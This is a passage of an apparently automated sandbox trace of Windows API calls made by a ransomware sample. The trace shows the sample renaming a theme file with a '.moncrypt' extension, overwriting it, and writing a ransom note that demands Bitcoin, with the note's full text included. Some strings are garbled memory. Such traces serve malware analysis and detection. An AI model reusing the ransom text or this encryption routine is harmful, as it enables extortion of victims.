cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18\x8f")) returned 0xffffffff [0050.708] GetLastError () returned 0x2 [0050.708] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.708] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0050.709] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.709] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0050.709] GetLastError () returned 0x2 [0050.709] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.709] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0050.709] GlobalLock (hMem=0x440004) returned 0x550170 [0050.709] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.709] GlobalUnlock (hMem=0x440004) returned 0 [0050.709] GlobalLock (hMem=0x440004) returned 0x550170 [0050.709] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.709] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.709] GlobalUnlock (hMem=0x440004) returned 0 [0050.709] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.709] GlobalUnlock (hMem=0x44000c) returned 0 [0050.709] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.709] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.709] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.710] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.710] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0050.710] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.710] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.710] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.710] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.710] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.710] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.710] GlobalUnlock (hMem=0x44000c) returned 0 [0050.710] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.710] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.710] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.710] GlobalUnlock (hMem=0x44000c) returned 0 [0050.710] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.710] GlobalUnlock (hMem=0x440004) returned 0 [0050.711] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.711] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.711] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.711] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.711] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.711] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.711] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.711] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0050.711] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.711] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0050.711] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.711] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0050.712] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.712] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.712] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\") returned 0x41 [0050.712] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f18, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.712] GlobalLock (hMem=0x440004) returned 0x550170 [0050.712] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.712] GlobalUnlock (hMem=0x440004) returned 0 [0050.712] GlobalLock (hMem=0x440004) returned 0x550170 [0050.712] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.712] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.712] GlobalUnlock (hMem=0x440004) returned 0 [0050.712] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.712] GlobalUnlock (hMem=0x44000c) returned 0 [0050.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.712] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.712] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0050.712] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.712] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.712] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.712] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.713] GlobalUnlock (hMem=0x44000c) returned 0 [0050.713] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.713] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.713] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.713] GlobalUnlock (hMem=0x44000c) returned 0 [0050.713] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.713] GlobalUnlock (hMem=0x440004) returned 0 [0050.713] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.713] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.714] CloseHandle (hObject=0x18c) returned 1 [0050.714] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\я")) returned 1 [0050.715] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 0x54e240 [0050.715] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.715] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.715] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", dwFileAttributes=0x20) returned 1 [0050.716] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.moncrypt")) returned 1 [0050.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.717] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.717] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xda86 [0050.717] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.717] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.719] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.719] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.719] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.719] GlobalUnlock (hMem=0x44000c) returned 0 [0050.719] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.719] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.719] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.719] GlobalUnlock (hMem=0x44000c) returned 0 [0050.719] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.719] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.719] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.719] GlobalUnlock (hMem=0x440004) returned 0 [0050.719] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.719] GlobalUnlock (hMem=0x44000c) returned 0 [0050.720] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.720] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.720] GlobalUnlock (hMem=0x44000c) returned 0 [0050.720] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.720] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.720] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.720] GlobalUnlock (hMem=0x44000c) returned 0 [0050.720] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.720] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.720] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.720] SetFilePointer (in: hFile=0x18c, lDistanceToMove=55942, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xda86 [0050.720] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.720] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.720] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.731] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.731] CloseHandle (hObject=0x18c) returned 1 [0050.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.732] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.732] CloseHandle (hObject=0x18c) returned 1 [0050.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0050.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.733] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.733] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.733] GlobalUnlock (hMem=0x44000c) returned 0 [0050.733] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.733] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.733] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.733] GlobalUnlock (hMem=0x44000c) returned 0 [0050.733] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.733] GlobalUnlock (hMem=0x440004) returned 0 [0050.733] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69f28, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.750] GetLastError () returned 0x2 [0050.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.752] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0050.752] CloseHandle (hObject=0x18c) returned 1 [0050.753] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0050.753] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.753] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.753] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.753] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.753] GlobalUnlock (hMem=0x440004) returned 0 [0050.753] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.753] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.753] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.753] GlobalUnlock (hMem=0x440004) returned 0 [0050.753] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.753] GlobalUnlock (hMem=0x44000c) returned 0 [0050.753] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.753] CharLowerBuffW (in: lpsz="BLUEPRNT.INF", cchLength=0xc | out: lpsz="blueprnt.inf") returned 0xc [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, 